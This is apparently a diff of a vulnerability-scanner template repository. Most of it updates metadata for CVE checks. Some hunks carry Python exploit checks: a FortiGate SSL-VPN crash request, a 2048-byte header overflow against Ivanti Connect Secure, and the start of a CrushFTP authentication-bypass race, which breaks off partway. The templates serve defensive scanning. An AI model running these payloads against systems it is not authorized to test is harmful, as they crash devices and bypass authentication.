+                print("Error while sending GET. Protocol mismatch?")
+                return None
+              self.socket.close()
+              return True
             except socket.timeout as e:
-              tries += 1
-              print("Connection timeout!")
-              continue
+              print("[>] Target waited for more data.")
+              return False
+
             except Exception as e:
-              print("Unknown error!")
+              print("[>] Target dropped the connection during test GET, which indicates a communication error!")
               print(e)
               return None
-          return None
-        def check_by_get(self):
-          get_req = bytearray(b"")
-          get_req += b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
 
-          print("[>] Sending GET first")
-          if self.connect() == None:
-            print("[!] Error connecting to target")
-            exit(1)
-          try:
-            self.socket.sendall(get_req)
+          def is_vulnerable(self):
+            req = bytearray(b"")
+            req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nContent-Length: " + CONTENT_LENGTH + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
+            req += b"AAAAAAAA"*(PADDING_LEN)
 
-            self.socket.settimeout(10)
-            get_buf = self.socket.recv(1048576)
+            print("[>] Testing to see if target is vulnerable (may take 10 seconds)")
+            if self.connect() == None:
+              print("[!] Error connecting to target")
+              exit(1)
 
-            if len(get_buf) == 0:
-              print("Error while sending GET. Protocol mismatch?")
+            try:
+              # Send the payload. Vuln instances will crash, severing the connection and
+              # causing an exception to be thrown here.
+              self.socket.sendall(req)
+
+              # If this read succeeds then the target is probably not vulnerable.
+              # If it times out, then it's also probably not vulnerable.
+              self.socket.settimeout(10)
+              buf = self.socket.recv(1048576)
+
+              # If the remote end disconnects without an HTTP response then it's vulnerable.
+              if len(buf) == 0:
+                  return True
+
+              # Check to see if it has the vendor patch applied
+              if buf.decode("utf-8", errors="replace").__contains__("HTTP/1.1 413 Request Entity Too Large"):
+                  print("[>] Target is patched.")
+                  return False # 100% confidence that it's not vulnerable.
+
+              # Ok, something weird and unexpected happened.
+              print("[>] An unexpected response (%d bytes) was recieved:" % len(buf))
+              print("----- BEGIN RESPONSE -----")
+              print(buf.decode("utf-8", errors="replace").replace("\\r\\n", "\n"))
+              print("----- END RESPONSE -----")
+              self.socket.close()
               return None
-            self.socket.close()
-            return True
-          except socket.timeout as e:
-            print("[>] Target waited for more data.")
-            return False
 
-          except Exception as e:
-            print("[>] Target dropped the connection during test GET, which indicates a communication error!")
-            print(e)
-            return None
+            except socket.timeout as e:
+              print("[>] Target waited for more data. Not vulnerable.")
+              return False
+            except Exception as e:
+              print("[>] Target dropped the connection, which indicates a vulnerable device!")
+              print(e)
+              return True
 
-        def is_vulnerable(self):
-          req = bytearray(b"")
-          req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nContent-Length: " + CONTENT_LENGTH + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
-          req += b"AAAAAAAA"*(PADDING_LEN)
+        if __name__ == '__main__':
+          host=os.getenv("Host")
+          port=int(os.getenv("Port"))
+          exploit = SSLVPNExploit(host, port)
+          check = exploit.check_by_get()
 
-          print("[>] Testing to see if target is vulnerable (may take 10 seconds)")
-          if self.connect() == None:
-            print("[!] Error connecting to target")
-            exit(1)
+          if check == True:
+            result = exploit.is_vulnerable()
+            if result == None:
+              print("[!] An error occurred testing for the vulnerability.\n[!] Is this even a FortiGate SSL-VPN?")
+              exit(2)
 
-          try:
-            # Send the payload. Vuln instances will crash, severing the connection and
-            # causing an exception to be thrown here.
-            self.socket.sendall(req)
+            if result == True:
+              print("[+] Target appears to be VULNERABLE")
+              exit(0)
 
-            # If this read succeeds then the target is probably not vulnerable.
-            # If it times out, then it's also probably not vulnerable.
-            self.socket.settimeout(10)
-            buf = self.socket.recv(1048576)
-
-            # If the remote end disconnects without an HTTP response then it's vulnerable.
-            if len(buf) == 0:
-                return True
-
-            # Check to see if it has the vendor patch applied
-            if buf.decode("utf-8", errors="replace").__contains__("HTTP/1.1 413 Request Entity Too Large"):
-                print("[>] Target is patched.")
-                return False # 100% confidence that it's not vulnerable.
-
-            # Ok, something weird and unexpected happened.
-            print("[>] An unexpected response (%d bytes) was recieved:" % len(buf))
-            print("----- BEGIN RESPONSE -----")
-            print(buf.decode("utf-8", errors="replace").replace("\\r\\n", "\n"))
-            print("----- END RESPONSE -----")
-            self.socket.close()
-            return None
-
-          except socket.timeout as e:
-            print("[>] Target waited for more data. Not vulnerable.")
-            return False
-          except Exception as e:
-            print("[>] Target dropped the connection, which indicates a vulnerable device!")
-            print(e)
-            return True
-
-      if __name__ == '__main__':
-        host=os.getenv("Host")
-        port=int(os.getenv("Port"))
-        exploit = SSLVPNExploit(host, port)
-        check = exploit.check_by_get()
-
-        if check == True:
-          result = exploit.is_vulnerable()
-          if result == None:
-            print("[!] An error occurred testing for the vulnerability.\n[!] Is this even a FortiGate SSL-VPN?")
-            exit(2)
-
-          if result == True:
-            print("[+] Target appears to be VULNERABLE")
-            exit(0)
-
-          else:
-            print("[+] Target is NOT vulnerable")
-            exit(1)
+            else:
+              print("[+] Target is NOT vulnerable")
+              exit(1)
 
     matchers:
       - type: word
         words:
           - "Target appears to be VULNERABLE"
-# digest: 490a004630440220200109caa2f7e95a45434593458382a6ca875167ade0946689005f9fc29664df0220764ae12713d8cb30e3105165bd261c4564a51b50ee294d63d57ca53aa338374d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201e695eaf0b295a9492a1e85cb8b048d9134644f8c3c8e164ab16f3e163fe3519022100bc466556ead56730639118cf27b33b7ea4301c9a911c2710c51a0a9bbde66132:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-2640.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2023-2640
     cwe-id: CWE-863
-    epss-score: 0.91874
-    epss-percentile: 0.99680
+    epss-score: 0.92037
+    epss-percentile: 0.99694
     cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
   metadata:
     verified: true
@@ -30,7 +30,7 @@ info:
     vendor: canonical
     product: ubuntu_linux
     shodan-query: cpe:"cpe:2.3:o:canonical:ubuntu_linux"
-  tags: cve,cve2023,code,packetstorm,kernel,ubuntu,linux,privesc,local,canonical
+  tags: cve,cve2023,code,packetstorm,kernel,ubuntu,linux,privesc,local,canonical,vkev
 
 self-contained: true
 code:
@@ -55,4 +55,4 @@ code:
           - '!contains(code_1_response, "(root)")'
           - 'contains(code_2_response, "(root)")'
         condition: and
-# digest: 4a0a0047304502202809a713e4b7f0f60945476a6178a11001fed63e5a210c5f7d1e3051d0f2d532022100c48469b0082d1264875fcb51ece29a27c1a5ecc9513ccca86afd183931ae3472:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220337f6ba3625bfa8d96ef3071a8b63f18f83b3a9ecda0925233fae7cfd0d6da94022100b84eb4d136c34b95951371db80ad169855b8c6493b7c136653f6650632f7adcb:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-2986.yaml

@@ -16,8 +16,8 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2023-2986
-    epss-score: 0.90996
-    epss-percentile: 0.99636
+    epss-score: 0.91169
+    epss-percentile: 0.99635
     cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
   metadata:
     verified: true
@@ -25,7 +25,7 @@ info:
     product: abandoned_cart_lite_for_woocommerce
     framework: wordpress
     fofa-query: body="/wp-content/plugins/woocommerce-abandoned-cart/"
-  tags: cve,cve2023,wordpress,woocommerce,wp-plugin,auth-bypass,woocommerce-abandoned-cart
+  tags: cve,cve2023,wordpress,woocommerce,wp-plugin,auth-bypass,woocommerce-abandoned-cart,vkev
 code:
   - engine:
       - php
@@ -626,4 +626,4 @@ http:
       - type: status
         status:
           - 302
-# digest: 490a0046304402207360b6e655f665c3206296d537b3fb08f38c3e75292145fdd0ce7ff3d2ebc4950220555ab766a2fc4290ba5e70aebf3972ec448bbaa7f7ec17857a4d36eb1ce85d0d:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204faef226d0f427c8997921c9bc86d2926e7c2f8c77f5dca0965381fa339c5ac102201fe75815c7bc046536ea1d246d7e47281cbfb0852fbd779cadd4e8cffcf765dd:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-49105.yaml

@@ -17,8 +17,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2023-49105
     cwe-id: CWE-287
-    epss-score: 0.86688
-    epss-percentile: 0.99395
+    epss-score: 0.86244
+    epss-percentile: 0.99356
     cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
   metadata:
     max-request: 2
@@ -90,4 +90,4 @@ http:
       - type: dsl
         dsl:
           - '"Username => "+ username'
-# digest: 4b0a00483046022100d1361a88791cd15ca47fa69ee04109e863d4b64e0ff51fd402aee326f02b3afb022100956866982e3aa3ff3694a645f6b77b7a705056f078771cc8881db8f55acaff45:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f71f74586387583c76c2f9f40964e674335a6bd75e1127cfb1004cc84bf4b8d90221009ad3ace674bea585e90df6a99cb6c9bd8b9bb400c6a538833899b35aa421c69e:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-4911.yaml

@@ -17,14 +17,14 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2023-4911
     cwe-id: CWE-787,CWE-122
-    epss-score: 0.78156
-    epss-percentile: 0.98452
+    epss-score: 0.78361
+    epss-percentile: 0.98981
     cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
     vendor: gnu
     product: glibc
-  tags: cve,cve2023,code,glibc,looneytunables,linux,privesc,local,kev,gnu
+  tags: cve,cve2023,code,glibc,looneytunables,linux,privesc,local,kev,gnu,vkev
 
 self-contained: true
 code:
@@ -39,4 +39,4 @@ code:
       - type: word
         words:
           - "139"     # Segmentation Fault Exit Code
-# digest: 4a0a0047304502200467c526f6043a379948d8ced51cc69e62cda1e931a681fe275eb9860d715f37022100f445b6a72ea04c499b20fe826724ee120544d715795d1445709b8145a9895277:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c22ad24ae968c0fdbb262870042bda2a541b88966850673057cc3101130e93fe022052c0f83964710d0043392569e6ad5546d62ee8c4c031da31b4102ac76e4b4ad1:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-6246.yaml

@@ -17,8 +17,8 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2023-6246
     cwe-id: CWE-787,CWE-122
-    epss-score: 0.26478
-    epss-percentile: 0.95613
+    epss-score: 0.25078
+    epss-percentile: 0.95897
     cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -39,4 +39,4 @@ code:
       - type: word
         words:
           - "127"     # Segmentation Fault Exit Code
-# digest: 490a0046304402202186423140cba034149105b6c5f8fae507a03844c26e4329d1f4437abb29e41202201f13cba920b16ae34421b775498e1bca85f7cc6659582da1e8cfbad540281d7c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207132165d22ecefd915ab6a7e967c59094faf69beb40a9463730b1e711148e53a0221009b52aeff3fd909df339fef801a83b9ea8ffd3a35b8170243b687fae65fc5d0e8:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-10443.yaml

@@ -13,8 +13,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-10443
     cwe-id: CWE-77
-    epss-score: 0.67637
-    epss-percentile: 0.98573
+    epss-score: 0.72148
+    epss-percentile: 0.98677
     cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
   metadata:
     verified: true
@@ -54,4 +54,4 @@ code:
         part: interactsh_protocol # Confirms the HTTP Interaction
         words:
           - "dns"
-# digest: 4a0a00473045022100bc3a13e648e7ec51ac1836066641533bfcdbb2cedab653a2e02b0fd70616fb4602204417a29e0f2a5863f30dfa9119cccd591a4435fcdd7a5ff36a762cbc92812c8b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220115580f5db0df59373cbbdb7726a0d708ca0ddc7e424ca3736705a605f6b502d022100a6d60ddedb892cebb4f76fe9a005082b5732f8739880ad99fe22f3c862953d00:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-12356.yaml

@@ -14,13 +14,13 @@ info:
     cve-id: CVE-2024-12356
     cwe-id: CWE-77
     epss-score: 0.93687
-    epss-percentile: 0.99831
+    epss-percentile: 0.9984
     cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
   metadata:
     vendor: beyondtrust
     product: privileged_remote_access
     verified: true
-  tags: cve,cve2024,beyondtrust,rce,remote-support,privileged-remote-access,kev
+  tags: cve,cve2024,beyondtrust,rce,remote-support,privileged-remote-access,kev,vkev
 
 code:
   - engine:
@@ -37,4 +37,4 @@ code:
         words:
           - "0 success"
           - "1 try again later"
-# digest: 4b0a004830460221008fdc45694288c9092a928bc2ba325f5b16bf96f4c94065e7afc046dffccdc7f6022100b3c8af22d05813a12e0a1cc490999e848f91a3bbeb4d9e87bc1e3c1dd6a45c0b:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201c1988a638881925262d9e242d73af7c88242d5dbf1e3aceeb55bd0a50f81047022078cd723c4d65922dd7c4ca7f92993148aafeea0e1f2f04b8ab8ef890a43a995a:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-22120.yaml

@@ -19,8 +19,8 @@ info:
     cvss-score: 9.1
     cve-id: CVE-2024-22120
     cwe-id: CWE-20
-    epss-score: 0.93881
-    epss-percentile: 0.99865
+    epss-score: 0.93769
+    epss-percentile: 0.99852
   metadata:
     max-request: 1
     vendor: zabbix
@@ -34,7 +34,7 @@ info:
       - app="zabbix-监控系统" && body="saml"
       - title="zabbix-server"
     google-query: intitle:"zabbix-server"
-  tags: cve,cve2024,authenticated,zabbix,sqli
+  tags: cve,cve2024,authenticated,zabbix,sqli,vkev
 variables:
   HOST: "{{Host}}"
   PORT: "{{Port}}"
@@ -71,4 +71,4 @@ code:
       - type: word
         words:
           - "Vulnerable to CVE-2024-22120"
-# digest: 4a0a00473045022057371395d4fb23fb810c20049a9d700a8284af6c1bc84864c23f1b4470dc4583022100f4d401098a82c09507f92f49757fb5d6085c9739a37aabc3f9ba8dcd894bdfa8:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f99e2516ad004dcadcc696a51cf5c6f053199f427366563b62f6f0cfa0351fe9022029053e1153636e9b2c04448a95a733d555f23c3906abf8360b8f38942301a0b7:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-3094.yaml

@@ -17,8 +17,8 @@ info:
     cvss-score: 10
     cve-id: CVE-2024-3094
     cwe-id: CWE-506
-    epss-score: 0.84169
-    epss-percentile: 0.99254
+    epss-score: 0.86323
+    epss-percentile: 0.99359
     cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
   metadata:
     verified: true
@@ -59,4 +59,4 @@ code:
       - type: dsl
         dsl:
           - response
-# digest: 4a0a00473045022058d32a2e8218872afa1f30ea214365196b87480a320425dd7b5082c3a11a01c00221009fb13dcff0743b605d213aee84fdc614cddbb7aa034a6bdfdfb5d6e6af71a8c6:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008e058701d9b0bb86454a5b8f3e13138a54b3bc5b13c1919823a09b40e988534c022100ac4bbd523fd0ff59703071dc4f884b90b448a7a3c4cc770892c587539d145503:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-4340.yaml

@@ -10,8 +10,8 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
     cvss-score: 7.5
     cve-id: CVE-2024-4340
-    epss-score: 0.15598
-    epss-percentile: 0.94407
+    epss-score: 0.14988
+    epss-percentile: 0.94227
   reference:
     - https://nvd.nist.gov/vuln/detail/CVE-2024-4340
   tags: cve,cve2024,py,code,dos,python,sqlparse
@@ -29,4 +29,4 @@ code:
         part: stderr
         words:
           - "RecursionError: maximum recursion depth exceeded"
-# digest: 490a0046304402204fca66bc1127003bf7091c3ef4aa8c9a979c22405fb23f6e34ed6ef18a8b0daa0220188f7df879246724eac3b609b7bba222ff83e2a839029e7a0ef168c88260941c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210092616283b5ad1773ae07c7668619fab5a0e8ed19e5f85c5631c898a2bbd0a811022100abedeefc2df44a3d8f2f09683d41a29981b71535108dd48a14c69207e51be2c6:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-45409.yaml

@@ -20,14 +20,14 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-45409
     cwe-id: CWE-347
-    epss-score: 0.14907
-    epss-percentile: 0.94531
+    epss-score: 0.12641
+    epss-percentile: 0.93618
   metadata:
     verified: true
     shodan-query: http.title:"GitLab"
     product: gitlab
     vendor: gitlab
-  tags: cve,cve2024,saml,auth-bypass,gitlab,code
+  tags: cve,cve2024,saml,auth-bypass,gitlab,code,vkev
 
 code:
   - engine:
@@ -123,4 +123,4 @@ http:
       - type: kval
         kval:
           - _gitlab_session
-# digest: 490a0046304402207fcad984b97d6cf3e7d103a97d8ac0b804375bc62fa335801c66337b72c68cb2022028a34cecc66c0b0b0afdc46859c2675df13bcf803911b3c5b00359239183b814:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022057eeaf9859453e41c43aed40325842f4eaf77282a0b6ed33dc34bc0067a4c4b202205622075b06dc0b995d27216e15e1e7a4bc41b3b0f29f3f0b991c02c12eb827b2:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-55556.yaml

@@ -18,7 +18,7 @@ info:
     cve-id: CVE-2024-55556
     cwe-id: CWE-502
     epss-score: 0.7976
-    epss-percentile: 0.99096
+    epss-percentile: 0.99051
   metadata:
     verified: true
     max-request: 2
@@ -193,4 +193,4 @@ http:
       - type: status
         status:
           - 500
-# digest: 4a0a00473045022100bedda7807b6e8b1de9d06c3de6965d20f099c71510556bb6cd624a2fad2be0db02207a9e0962a7814c6422cdc32195f4b474081785e386a7578b5a1705d5add154cc:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022016dfa320fa878a37fa63ed32d5ead3791275ea293d4e0e34736185b321d274990220467443ef008e8ff21dc0c857b513953dba378a63e3fd8d2cda1d6b53e81da2d6:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-56331.yaml

@@ -22,7 +22,7 @@ info:
     cve-id: CVE-2024-56331
     cwe-id: CWE-22
     epss-score: 0.41406
-    epss-percentile: 0.97262
+    epss-percentile: 0.97227
   metadata:
     verified: true
     shodan-query: http.title:"Uptime Kuma"
@@ -124,4 +124,4 @@ code:
       - type: word
         words:
           - "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
-# digest: 490a004630440220767c6864cb0310b6d63e766a5284e127185a790ded13671c3b33ee3ae955d86a02202e855684ba68b62411f6e36c7e6c472bfbd78ce3f6729980b57f92116bca9a5c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100abee75ab22c9130459214c5e961c1dec541e1e346f513a2362a9dff7cd1e7ff1022100ed4cd1629cbd3226f1015256b20531f6c380116cd1554b09748bc364b8701ca2:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-9487.yaml

@@ -10,8 +10,8 @@ info:
     - https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
     - https://github.com/advisories/GHSA-g83h-4727-5rpv
   classification:
-    epss-score: 0.3891
-    epss-percentile: 0.97110
+    epss-score: 0.36115
+    epss-percentile: 0.9689
   metadata:
     verified: true
     shodan-query: title:"GitHub Enterprise"
@@ -188,4 +188,4 @@ http:
       - type: kval
         kval:
           - user_session
-# digest: 4a0a00473045022011426fc5ebeb8774da55b3e13ea70980635eae1dfcdc9265862c83ccee5dd32c022100a3811bfcc159dbc91424ddb31e76806b5b1a64acd73aa014e5f2306f058cb32f:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009abc9077aff0ec0190f80612eebba5ed1f4c66886cc2bf82f0b1e6d68beee6f7022100c53f3a1a7d646b5387fae2fd4480eb6985c0da93221da148a3a891e56db33889:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-22457.yaml

@@ -0,0 +1,131 @@
+id: CVE-2025-22457
+
+info:
+  name: Ivanti Connect Secure - Stack-based Buffer Overflow
+  author: s4e-io,pussycat0x
+  severity: critical
+  description: |
+    Ivanti Connect Secure before version 22.7R2.6, Ivanti Policy Secure before version 22.7R1.4,
+    and Ivanti ZTA Gateways before version 22.8R2.2 contain a stack-based buffer overflow caused by
+    improper input handling, allowing remote attackers to execute arbitrary code without authentication.
+  impact: |
+    Remote attackers can execute arbitrary code on the affected systems, potentially leading to full system compromise.
+  remediation: |
+    Update to the latest versions: Ivanti Connect Secure 22.7R2.6 or later, Ivanti Policy Secure 22.7R1.4 or later, Ivanti ZTA Gateways 22.8R2.2 or later.
+  reference:
+    - https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457
+    - https://www.cvedetails.com/cve/CVE-2025-22457
+    - https://github.com/securekomodo/CVE-2025-22457
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
+    cvss-score: 9.0
+    cve-id: CVE-2025-22457
+    cwe-id: CWE-121,CWE-787
+    epss-score: 0.71695
+    epss-percentile: 0.9866
+    cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
+  metadata:
+    vendor: ivanti
+    product: connect_secure
+    shodan-query: http.title:"ivanti connect secure"
+    fofa-query: title="ivanti connect secure"
+    zoomeye-query: title:"ivanti connect secure"
+    google-query: intitle:"ivanti connect secure"
+  tags: cve,cve2025,ivanti,intrusive,kev,vkev
+
+variables:
+  HOST: "{{Host}}"
+  PORT: "{{Port}}"
+
+flow: http () && code()
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+      - "{{BaseURL}}/dana-na/auth/url_default/welcome.cgi"
+
+    stop-at-first-match: true
+    matchers:
+      - type: dsl
+        internal: true
+        dsl:
+          - 'contains(body, "Ivanti Connect Secure")'
+          - 'status_code == 200'
+        condition: and
+
+code:
+  - engine:
+      - py
+      - python3
+
+    source: |
+      import os
+      import time
+      import requests
+
+      TARGET_PATH = "/dana-na/auth/url_default/welcome.cgi"
+      TIMEOUT = 10
+
+      class IvantiExploit:
+          def __init__(self, host, port):
+              self.host = host.rstrip("/")
+              self.port = port
+
+          def check_vuln(self):
+              host = self.host
+              if not host.startswith("http://") and not host.startswith("https://"):
+                  host = f"https://{host}"
+
+              url = f"{host}:{self.port}{TARGET_PATH}"
+
+              print(f"Testing {url}")
+
+              #1  Pre-check: Check if target is reachable and status is 200.
+              try:
+                  r1 = requests.get(url, timeout=TIMEOUT, verify=False)
+              except requests.RequestException:
+                  r1 = None
+              if not r1 or r1.status_code != 200:
+                  print("Pre-check failed because target is not reachable or status is not 200.")
+                  return False
+
+              print("Pre-check successful.")
+
+              #2 Payload: Send POST request with X-Forwarded-For header to test the vulnerability.
+
+              payload_header = {"X-Forwarded-For": "1"*2048}
+              try:
+                  r2 = requests.post(url, headers=payload_header, timeout=TIMEOUT, verify=False)
+              except requests.RequestException:
+                  r2 = None
+              if r2:
+                  print("Payload is not working.")
+                  return False
+              else:
+                  print("Payload is working.")
+              time.sleep(1)
+
+              #3 Follow-up: Check if target is still reachable after payload.
+
+              try:
+                  r3 = requests.get(url, timeout=TIMEOUT, verify=False)
+              except requests.RequestException:
+                  r3 = None
+              if r3.status_code == 200:
+                  print(f"VULNERABLE: {self.host}:{self.port}")
+                  return True
+
+              print("Target seems safe")
+              return False
+
+      if __name__ == "__main__":
+          host = os.getenv("Host")
+          port = os.getenv("Port")
+          IvantiExploit(host, port).check_vuln()
+
+    matchers:
+      - type: word
+        words:
+          - "VULNERABLE:"
+# digest: 4a0a0047304502204da57aafdf12aab0eaa71272f594ad8244c3616cbbe0a1dc9e5bdece05a733040221009839de2eab1fa948ab47f2b663381ceff767d04ffc0fd3118f8322dc99b5e9b5:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-25291.yaml

@@ -19,8 +19,8 @@ info:
     cvss-score: 9.3
     cve-id: CVE-2025-25291
     cwe-id: CWE-347
-    epss-score: 0.02296
-    epss-percentile: 0.81527
+    epss-score: 0.22491
+    epss-percentile: 0.95551
   metadata:
     verified: true
     vendor: gitlab
@@ -78,4 +78,4 @@ http:
       - type: kval
         kval:
           - _gitlab_session
-# digest: 4a0a004730450220235b1de01210fb06562b784c31b9774a385c46ff77e11ce19f1df321822bc3e8022100d6bad0364c99e6c8086521ab2accbb9575b74af87cc682d0d57ef38099fbe991:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221009c48e805643fcf0e44a249f48c234749fab6617532a17fea00094233d1ec1cd3022065a82f524d53b72e61bf7342041d83642d9a0f3021efc053a5017ea4c6f38e80:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-32433.yaml

@@ -20,13 +20,13 @@ info:
     cvss-score: 10
     cve-id: CVE-2025-32433
     cwe-id: CWE-306
-    epss-score: 0.57377
-    epss-percentile: 0.97930
+    epss-score: 0.68017
+    epss-percentile: 0.98511
   metadata:
     verified: true
     max-request: 1
     shodan-query: "Erlang OTP"
-  tags: cve,cve2025,erlang,otp,ssh,rce,oast,kev
+  tags: cve,cve2025,erlang,otp,ssh,rce,oast,kev,vkev
 
 variables:
   OAST: "{{interactsh-url}}"
@@ -172,4 +172,4 @@ code:
         dsl:
           - 'contains(interactsh_protocol, "dns")'
         condition: and
-# digest: 4a0a00473045022100e36084dcd9b8fa5347cf8bf47d18d1e3d76a0744981414bbcbc23fd7e702706102204ef22a6591bcc3ee21aee8ed14e150571204b0fda60f783ec25790c083b54e0b:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b8b9b409a402e03d363251ac823d6a60fe8008bb7b71a77ac34cd0873a6f9284022100a78a2a2ef6a1c56ca94c35bf73f3780c3fea4b23e2ef451f005f9fd2a0d11827:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-54309.yaml

@@ -0,0 +1,203 @@
+id: CVE-2025-54309
+
+info:
+  name: CrushFTP - Authentication Bypass Race Condition
+  author: pussycat0x,watchTowr,dhiyaneshdk
+  severity: critical
+  description: |
+    CrushFTP 10 before 10.8.5 and 11 before 11.3.4_23, when the DMZ proxy feature is not used, mishandles AS2 validation and consequently allows remote attackers to obtain admin access via HTTPS, as exploited in the wild in July 2025.
+  impact: |
+    Remote attackers can bypass authentication and access sensitive user data, potentially leading to unauthorized access to the CrushFTP system and exfiltration of user information.
+  remediation: |
+    Update to the latest version of CrushFTP that patches this authentication bypass vulnerability.
+  reference:
+    - https://github.com/watchtowrlabs/watchTowr-vs-CrushFTP-Authentication-Bypass-CVE-2025-54309/blob/main/watchTowr-vs-CrushFTP-CVE-2025-54309.py
+    - https://labs.watchtowr.com/the-one-where-we-just-steal-the-vulnerabilities-crushftp-cve-2025-54309/
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-54309
+    epss-score: 0.50657
+    epss-percentile: 0.97685
+    cwe-id: CWE-287,CWE-362
+    cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    vendor: crushftp
+    product: crushftp
+    shodan-query:
+      - http.title:"crushftp"
+      - http.favicon.hash:-1022206565
+    fofa-query:
+      - title="crushftp"
+      - icon_hash="-1022206565"
+    zoomeye-query: title:"crushftp"
+    google-query: intitle:"crushftp"
+  tags: cve,cve2025,crushftp,auth-bypass,race-condition,kev,vkev
+
+variables:
+  HOST: "{{Host}}"
+  PORT: "{{Port}}"
+
+code:
+  - engine:
+      - py
+      - python3
+    source: |
+      import requests
+      import threading
+      import time
+      import random
+      import string
+      import re
+      import os
+
+      def generate_random_c2f():
+          """Generate random 4-character c2f value"""
+          return ''.join(random.choices(string.ascii_letters + string.digits, k=4))
+
+      def make_request_with_as2(target_url, c2f_value, cookie):
+          """Make request with AS2-TO header and disposition-notification content type"""
+          url = f"{target_url}/WebInterface/function/"
+
+          headers = {
+              "Host": target_url.replace("http://", "").replace("https://", ""),
+              "User-Agent": "python-requests/2.32.3",
+              "Accept-Encoding": "gzip, deflate",
+              "Accept": "*/*",
+              "Connection": "keep-alive",
+              "AS2-TO": "\\crushadmin",
+              "Content-Type": "disposition-notification",
+              "X-Requested-With": "XMLHttpRequest",
+              "Cookie": cookie
+          }
+
+          data = {
+              "command": "getUserList",
+              "serverGroup": "MainUsers",
+              "c2f": c2f_value
+          }
+
+          try:
+              response = requests.post(url, headers=headers, data=data, verify=False, timeout=5)
+              return f"AS2 Request - Status: {response.status_code}", response.text
+          except Exception as e:
+              return f"AS2 Request - Error: {str(e)}", ""
+
+      def make_request_without_as2(target_url, c2f_value, cookie):
+          """Make request without AS2-TO header and disposition-notification content type"""
+          url = f"{target_url}/WebInterface/function/"
+
+          headers = {
+              "Host": target_url.replace("http://", "").replace("https://", ""),
